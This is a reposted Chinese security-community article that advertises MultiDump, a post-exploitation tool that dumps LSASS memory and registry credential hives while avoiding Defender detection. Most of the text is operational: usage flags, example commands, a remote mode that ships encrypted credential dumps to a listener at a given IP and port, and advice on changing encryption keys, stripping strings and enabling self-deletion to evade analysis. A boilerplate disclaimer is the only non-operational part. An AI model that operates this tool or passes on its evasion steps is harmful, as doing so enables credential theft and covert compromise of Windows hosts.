点击蓝字 关注我们
免责声明
本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。
如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。
文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。
关于
MultiDump是一个后渗透工具,用于谨慎地转存和提取LSASS内存。
MultiDump是一个用C编写的后渗透工具,用于谨慎地转储和提取LSASS内存,而不会触发Defender警报,并使用Python编写的处理程序。
博客文章:https://xre0us.io/posts/multidump
MultiDump通过ProcDump.exe
或comsvc.dll
支持LSASS转储,它提供了两种模式:本地模式,加密并在本地存储转储文件,以及远程模式,将转储发送到处理程序进行解密和分析。
使用
__ __ _ _ _ _____
| / |_ _| | |_(_) __ _ _ _ __ ___ _ __
| |/| | | | | | __| | | | | | | | '_ ` _ | '_
| | | | |_| | | |_| | |__| | |_| | | | | | | |_) |
|_| |_|__,_|_|__|_|_____/ __,_|_| |_| |_| .__/
|_|
Usage: MultiDump.exe [-p <ProcDumpPath>] [-l <LocalDumpPath> | -r <RemoteHandlerAddr>] [--procdump] [-v]
-p Path to save procdump.exe, use full path. Default to temp directory
-l Path to save encrypted dump file, use full path. Default to current directory
-r Set ip:port to connect to a remote handler
--procdump Writes procdump to disk and use it to dump LSASS
--nodump Disable LSASS dumping
--reg Dump SAM, SECURITY and SYSTEM hives
--delay Increase interval between connections to for slower network speeds
-v Enable verbose mode
MultiDump defaults in local mode using comsvcs.dll and saves the encrypted dump in the current directory.
Examples:
MultiDump.exe -l C:UsersPubliclsass.dmp -v
MultiDump.exe --procdump -p C:Toolsprocdump.exe -r 192.168.1.100:5000
usage: MultiDumpHandler.py [-h] [-r REMOTE] [-l LOCAL] [--sam SAM] [--security SECURITY] [--system SYSTEM] [-k KEY] [--override-ip OVERRIDE_IP]
Handler for RemoteProcDump
options:
-h, --help show this help message and exit
-r REMOTE, --remote REMOTE
Port to receive remote dump file
-l LOCAL, --local LOCAL
Local dump file, key needed to decrypt
--sam SAM Local SAM save, key needed to decrypt
--security SECURITY Local SECURITY save, key needed to decrypt
--system SYSTEM Local SYSTEM save, key needed to decrypt
-k KEY, --key KEY Key to decrypt local file
--override-ip OVERRIDE_IP
Manually specify the IP address for key generation in remote mode, for proxied connection
与所有与LSASS相关的工具一样,需要管理员/服务员权限。
处理程序依赖于Pypykatz来解析LSASS转储,并依赖于impacket来解析注册表保存。它们应该安装在您的环境中。如果您看到错误All detection methods failed
,则可能是Pypykatz版本已过时。
默认情况下,MultiDump使用Comsvc.dll
方法并将加密转储保存在当前目录中。
MultiDump.exe
...
[i] Local Mode Selected. Writing Encrypted Dump File to Disk...
[i] C:UsersMalTestDesktopdciqjp.dat Written to Disk.
[i] Key: 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
./ProcDumpHandler.py -f dciqjp.dat -k 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
如果使用--procdump
,则将ProcDump.exe
写入磁盘以转储LSASS。
在远程模式下,MultiDump连接到处理程序的侦听器。
./ProcDumpHandler.py -r 9001
[i] Listening on port 9001 for encrypted key...
MultiDump.exe -r 10.0.0.1:9001
密钥使用处理程序的IP和端口进行加密。当MultiDump通过代理连接时,处理程序应使用--override-ip
选项手动指定远程模式下密钥生成的IP地址,通过将解密IP与MultiDump -r
中设置的预期IP相匹配,确保解密正确工作。
一个额外的选项,以转储的SAM
,SECURITY
和SYSTEM
蜂巢可与--reg
,解密过程是相同的LSASS转储。这是一个更方便的功能,使后利用信息收集更容易。
构建MultiDump
在Visual Studio中打开,在发布模式下生成。
自定义MultiDump
建议在编译之前自定义二进制文件,例如更改静态字符串或用于加密它们的RC4密钥,为此,包含另一个Visual Studio项目EncryptionHelper
。只需更改键或字符串,编译后的EncryptionHelper.exe
的输出就可以粘贴到MultiDump.c
和Common.h
中。
可以通过取消注释Common.h
中的以下行来切换自删除:
#define SELF_DELETION
为了进一步避免字符串分析,可以通过注释Debug.h
中的以下行来将大多数输出消息从编译中排除:
//#define DEBUG
MultiDump可能会在Windows 10 22 H2上检测到(19045)(排序)
项目地址:
https://github.com/Xre0uS/MultiDump
xiangmu
原文始发于微信公众号(SecHub网络安全社区):新工具 | 不触发Defender提取和转存LSASS
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论